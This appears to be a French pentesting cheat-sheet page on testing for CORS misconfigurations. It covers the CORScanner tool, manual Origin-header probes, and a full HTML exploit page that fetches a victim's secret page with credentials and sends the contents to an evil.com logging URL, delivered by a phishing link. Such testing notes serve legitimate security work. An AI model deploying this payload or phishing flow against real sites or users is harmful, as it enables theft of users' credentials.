CORS

Cross-Origin Ressource Sharing

CORScanner

CORScanner est un scanner de faille CORS (Cross Origin Resource Sharing).

Exemple d'utilisation:

$ python cors-scanner.py -u https://target.com/

ressource: https://github.com/chenjj/CORScanner

Manuel

Origin aléatoire

Header Requête:

Origin: http://evil.com

Regarder dans la réponse si l'url est acceptée.

Header Réponse:

Access-Control-Allow-Origin: http://evil.com

Origin null

Header requête:

Origin: null

Regarder si une origine "null" est acceptée.

Header réponse:

Access-Control-Allow-Origin: null

Origin commençant par nom de sous-domaine de la cible

Header requête:

Origin: sub.target.com.evil.com

Header réponse:

Access-Control-Allow-Origin: sub.target.com.evil.com

Origin finissant par nom de sous-domaine de la cible

Header requête:

Origin: eviltarget.com

Origin: evil-target.com

Header réponse:

Access-Control-Allow-Origin: eviltarget.com ou evil-target.com

Exemple de phishing utilisant une mauvaise configuration de CORS:

Création d'un exploit pour voler les identifiants d'un utilisateur stocké dans http://target.com/secrets.

Contenu de la page http://evil.com/exploit:

<!DOCTYPE html>
<html>
  <body>
    <script>
      fetch("https://target.xyz/secret", {
        method: "GET",
        credentials: "include", // necessary to trigger Access-Control-Allow-Credentials
        headers: {
          "Content-Type": "application/x-www-form-urlencoded"
        },
      })
      .then(res => res.text())
      .then(data => {
        // Send result back to attacker
        fetch("https://evil.com/log?data=" + encodeURIComponent(data));
      })
      .catch(err => {
        console.error("Error:", err);
      });
    </script>
  </body>
</html>

On envoie ensuite le lien (http://evil.com/exploit) à l'utilisateur qui si il clique dessus vas permettre de le forcer à se rendre sur https://target.com/secrets et récupérer ses identifiants pour les afficher dans les logs de evil.com (http://evil.com/log?key=<données de la page https://target.com/secrets>).

Dernière mise à jour

Cet article vous a-t-il été utile ?